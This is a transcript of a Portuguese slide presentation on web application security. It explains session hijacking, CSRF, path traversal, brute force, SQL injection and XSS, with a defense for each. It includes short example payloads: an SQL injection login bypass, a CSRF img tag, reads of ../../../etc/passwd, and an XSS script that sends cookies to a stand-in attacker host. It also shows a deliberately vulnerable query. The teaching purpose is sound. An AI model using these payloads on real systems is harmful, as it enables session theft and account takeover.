segurança em aplicativos web

49
Segurança em Aplicativos WEB Sérgio Henrique Miranda Junior @sergiohenrique

Upload: sergio-henrique

Post on 12-Jan-2015

558 views

Category:

Technology


0 download

DESCRIPTION

Os serviços prestados via aplicações web são cada vez mais críticos. Esse serviços na maioria das vezes envolvem pagamentos de mensalidades e até mesmo ganho de créditos que podem ser revertidos em produtos posteriormente. A segurança deve ser estudada com muita atenção e calma para minimizar as chances de invasão, prestando assim, um serviço de melhor qualidade para o cliente final.

TRANSCRIPT

Page 1: Segurança em Aplicativos Web

Segurançaem

Aplicativos WEB

Sérgio Henrique Miranda Junior@sergiohenrique

Page 2: Segurança em Aplicativos Web

Quem sou eu?

Sérgio Henrique Miranda Junior

Líder Técnico @ Dito Internet

Bacharel em Ciência da Computação

Page 3: Segurança em Aplicativos Web

Somos uma das 4 empresas da América Latina qualificada no desenvolvimento de apps pelo facebook

Utilizar a influência dos relacionamentos nas redes sociais para gerar novos negócios para

nossos clientes

Dito Internet

Page 4: Segurança em Aplicativos Web

Dito Internet

Algumas agências

Page 5: Segurança em Aplicativos Web

. Depende dos desenvolvedores...

Segurança...

. Depende do método de desenvolvimento utilizado...

. Depende de todas as camadas da aplicação:

. servidor de banco de dados

. servidor web

. framework utilizado

. da própria aplicação

Page 6: Segurança em Aplicativos Web

Segurança.... Geralmente a maioria das falhas de seguranças estão localizadas na própria aplicação

. O grupo Gartner estima que 75% dos ataques acontecem na camada da aplicação!

. Uma pesquisa publicada pela White Hat Security mostrou que em 86% dos sites estudados, pelo menos, uma falha grave de segurança foi encontrada

Page 7: Segurança em Aplicativos Web

. Precisamos conhecer essas falhas de segurança para podermos proteger nossa aplicação

Segurança...

Page 8: Segurança em Aplicativos Web

Sessões

Page 9: Segurança em Aplicativos Web

O que é?

sessões

. HTTP é um protocolo que não possui estado

. A sessão é uma maneira de trazer estado para o HTTP

. Sem a sessão os usuários teriam que se identificar em todos os requests realizados

. O cookie é parte fundamental para a sessão funcionar corretamente

Page 10: Segurança em Aplicativos Web

Session ID

sessões

. É um hash construido de alguns valores combinados

. Geralmente é um MD5 de 32 bytes

. É um valor único que indica a sessão de um usuário do sistema

Page 11: Segurança em Aplicativos Web

Sequestro de sessão

sessões

. Muitos sistemas web possuem um sistema de autenticação

. Quando os usuários realizam login através de um valor de login e senha, uma sessão é criada e esse valor é armazenado no cookie

. Qualquer pessoa que conseguir capturar esse cookie poderá utilizar o sistema web através do usuário que realizou login

Page 12: Segurança em Aplicativos Web

sessões

Como fazer?

Sequestro de sessão

. Basta realizar um sniff no tráfego de rede e capturar o cookie

. Em uma rede wireless descriptografada é fácil escutar o tráfego de todos os clientes conectados

. Isso é uma razão para você não trabalhar de cafeterias!

Page 13: Segurança em Aplicativos Web

sessões

Como evitar?

Sequestro de sessão

. Através da utilização do protocolo HTTPS!

Page 14: Segurança em Aplicativos Web

Armazenamento

sessões

. Pode ser armazenada tanto no cliente quanto no servidor

. Quando armazenada no cliente, existe um limite de tamanho de 4KB

. É preciso ter um mecanismo que evite a adulteração quando armazenada do lado do cliente

. Não colocar dados críticos quando o armazenamento for feito no cliente

Page 15: Segurança em Aplicativos Web

Replay ataques

sessões

. Acontece quando a sessão está armazenada no cliente

. É uma forma do usuário conseguir voltar valores de atributos

Page 16: Segurança em Aplicativos Web

Exemplo:

Replay ataques

sessões

O usuário recebe créditos para realizar compra no site

1

Esses créditos ficam armazenados na sessão2

O usuário realiza uma compra e tem seus créditos debitados da sessão

3

O usuário substitui o valor do cookie pelo valor do primeiro

4

O usuário agora possui o mesmo valor de créditos que possuía quando entrou no sistema!

5

Page 17: Segurança em Aplicativos Web

Replay ataques

sessões

Como evitar?

. Não armazenando dados críticos no cookie

Page 18: Segurança em Aplicativos Web

Sessão fixa

sessões

. O hacker fixa um valor de sessão conhecido por ele

. Dessa forma não é preciso roubar o valor de sessão de um usuário

Page 19: Segurança em Aplicativos Web

sessões

Exemplo:

Sessão fixa

O hacker cria um valor válido de sessão acessando a página de login do sistema web

1

Copia o valor da sessão armazenado no cookie2

O hacker força o usuário a utilizar o valor de sessão criado por ele

3

A sessão ainda não fez login. O usuário, sem perceber, realiza login na sua conta

4

A partir desse momento, ambos, usuário e hacker, possuem o mesmo valor de sessão!

5

Page 20: Segurança em Aplicativos Web

sessõesSessão fixa

1. login

2. session_id=bagadfe324

HACKER

BANCO.COMCLIENTE

3. Fixa sessão em: session_id=bagadfe324

4. GET /login com o valor da sessão: bagadfe324

5. fornece usuário e senha para se logar no sistema com valor de sessão: bagadfe324

6. GET /user/saldocom valor de sessão: bagadfe324

Page 21: Segurança em Aplicativos Web

sessõesSessão fixaComo evitar?

. Sempre crie uma nova sessão quando um novo login for realizado!

Page 22: Segurança em Aplicativos Web

Cross Site Request ForgeryCSRF

Page 23: Segurança em Aplicativos Web

CSRFO que é?

. CSRF é a possibilidade de executar comandos em sistemas web que o usuário está logado

. O browser sempre envia os cookies, do domínio utilizado, que ele possui armazenado. Isso acontece em todos os requests

Page 24: Segurança em Aplicativos Web

CSRFComo funciona?

HACKER

SITE.COM

SITE.COM

session_id=dfsa24

<img src=”http://www.site.com/account/1/destroy” />

session_id=dfsa24

<img src=”http://www.site.com/account/1/destroy” />

Page 25: Segurança em Aplicativos Web

CSRFComo funciona?Como evitar?

. Utilize os verbos http corretamente! Utilize o GET quando o request for operações como: leitura, buscas, etc. Utilize o POST quando você for alterar o estado de algum recurso

. Utilize tokens para proteger seus requests que alteram os recursos disponibilizados pelo sistema

Page 26: Segurança em Aplicativos Web

Redirecionamentoe

Arquivos

Page 27: Segurança em Aplicativos Web

redirectRedirecionamento& files

. Quando é permitido passar como parâmetro a URL de redirecionamento, é possível que algum ataque aconteça

. O mais comum é um ataque de phishing

Como evitar?

. Não permitir que a URL seja passada via parâmetro

Page 28: Segurança em Aplicativos Web

redirectUpload de arquivos& files

. Quando for permitido realizar upload de arquivos, sempre filtre o nome passado pelo usuário

. Imagine que você armazena seus arquivos em /var/www/files. Se um usuário realizar upload de um arquivo com o nome: “../../../etc/passwd” você pode sobrescrever um arquivo que não deveria!

Page 29: Segurança em Aplicativos Web

. Não execute seus processos com permissões de escrita em pastas que eles não devem escrever

redirectUpload de arquivos& files

Como evitar?

. Sempre filtre nomes de arquivos passado pelos usuários

Page 30: Segurança em Aplicativos Web

redirectUpload de arquivos& files

. Não realize o processamento de imagens ou vídeos de forma síncrona!

. Um usuário pode realizar vários uploads ao mesmo tempo, com isso, o load do servidor irá aumentar e você pode sofrer um ataque de Denial Of Service (DOS)

Page 31: Segurança em Aplicativos Web

redirectUpload de arquivos& files

Como evitar?

. Sempre filtre nomes de arquivos!

. Nunca realize processamento pesado de forma síncrona!

Page 32: Segurança em Aplicativos Web

redirectDownload de arquivos& files

. Se for possível passar o nome do arquivo que se deseja realizar download, o usuário pode executar download de arquivos importantes do sistema

. Imagine que você disponibilize uma URL assim: http://www.site.com.br/downloads?file=arquivo.txt

Page 33: Segurança em Aplicativos Web

redirectDownload de arquivos& files

. Se você armazena seus arquivos em /var/www/dowloads, o usuário pode requisitar o seguinte arquivo: file=../../../etc/passwd

Como evitar?

. Sempre filtre os nomes de arquivos que são requisitados!

Page 34: Segurança em Aplicativos Web

Gerenciamento de usuários

Page 35: Segurança em Aplicativos Web

gerenciamento

de usuáriosBrute-force

. De posse de uma lista de usuários da sua aplicação, um hacker pode criar um programa que tentará descobrir a senha dos mesmos

. A maioria das senhas é uma combinação de letras e números. Geralmente são senhas fáceis de serem encontradas em dicionários de senhas existentes pela internet

Page 36: Segurança em Aplicativos Web

gerenciamento

de usuáriosBrute-forceComo evitar?

. Coloque mensagens genéricas de erro nos seus formulários de login

. Peça para o usuário informar o valor de um CAPTCHA após algumas tentativas, sem sucesso, de realizar login

Page 37: Segurança em Aplicativos Web

gerenciamento

de usuáriosRoubo de contas

. Alguns sistemas web facilitam o roubo de contas através de:

. Troca de passwords

. Troca de e-mail

Page 38: Segurança em Aplicativos Web

gerenciamento

de usuáriosRoubo de contasComo evitar?

. Peça a senha antiga quando o usuário tentar alterar a mesma

. Peça a senha para o usuário sempre que ele tentar alterar seu e-mail

. Revise todo o seu sistema e elimine as falhas de segurança relacionadas a CSRF

Page 39: Segurança em Aplicativos Web

Inserção de código

Page 40: Segurança em Aplicativos Web

inserçãoSQL injection

. É uma forma de passar código SQL para sua aplicação através de formulários

. Na maioria das vezes é executado pensando em burlar a autenticação de sistemas

de código

Page 41: Segurança em Aplicativos Web

inserçãoSQL injectionde código

Exemplo:O sistema web apresenta um formulário, com os campos login e senha, para o usuário se logar no sistema

1

O hacker passa como valor do campo de login: ‘ or ‘1’= ‘1 e como valor do campo senha: ‘ or ‘2’> ‘1

2

O desenvolvedor realiza a busca no banco de dados: User.where("login = '#{params[:name]}' and passwd = '#{params[:passwd]}'")

3

Page 42: Segurança em Aplicativos Web

inserçãoSQL injectionde código

Exemplo:

A seguinte query é executada no sistema gerenciador de banco de dados:

SELECT * FROM users where login = ‘’ OR ‘1’=’1’ and passwd = ‘’ OR ‘2’>’1’ LIMIT 1

4

Essa query irá encontrar o primeiro registro no banco de dados e realizará login com esse registro

5

Page 43: Segurança em Aplicativos Web

inserçãoSQL injectionde código

Como evitar?

. Sempre filtre os dados que são passados pelos usuários!

Page 44: Segurança em Aplicativos Web

Cross-site Scripting (XSS)

inserção

de código

. É uma das vulnerabilidades mais devastadoras que pode acontecer com um sistema web

. Esse tipo de ataque insere código client-side que será executado pelo sistema web

. Qualquer ponto de entrada do sistema web, que permita o usuário inserir conteúdo, pode estar vulnerável

Page 45: Segurança em Aplicativos Web

Cross-site Scripting (XSS)

inserção

de códigoExemplo:

O sistema web permite que os usuários insiram posts para serem exibidos para todos os outros

1

O hacker insere o seguinte código na hora de enviar um post: <script>document.write('<img src="http://www.hacker.com/' + document.cookie + '">');</script>

2

Page 46: Segurança em Aplicativos Web

Cross-site Scripting (XSS)

inserção

de códigoExemplo:

O sistema web tentará carregar a imagem do site do hacker. A URL não exibe uma imagem, logo o sistema web não exibirá nada

3

Nos logs do servidor web do hacker será vista a seguinte linha: GET http://www.hacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

4

Page 47: Segurança em Aplicativos Web

Cross-site Scripting (XSS)

inserção

de código

Como evitar?

. Filtre todos os dados que os usuários inserirem no sistema web

. Escapar todos os dados, inseridos por usuários, que são exibidos para outros usuários

. Utilize a propriedade HTTP_ONLY em cookies que armazenem valores de sessão

Page 48: Segurança em Aplicativos Web

Dúvidas?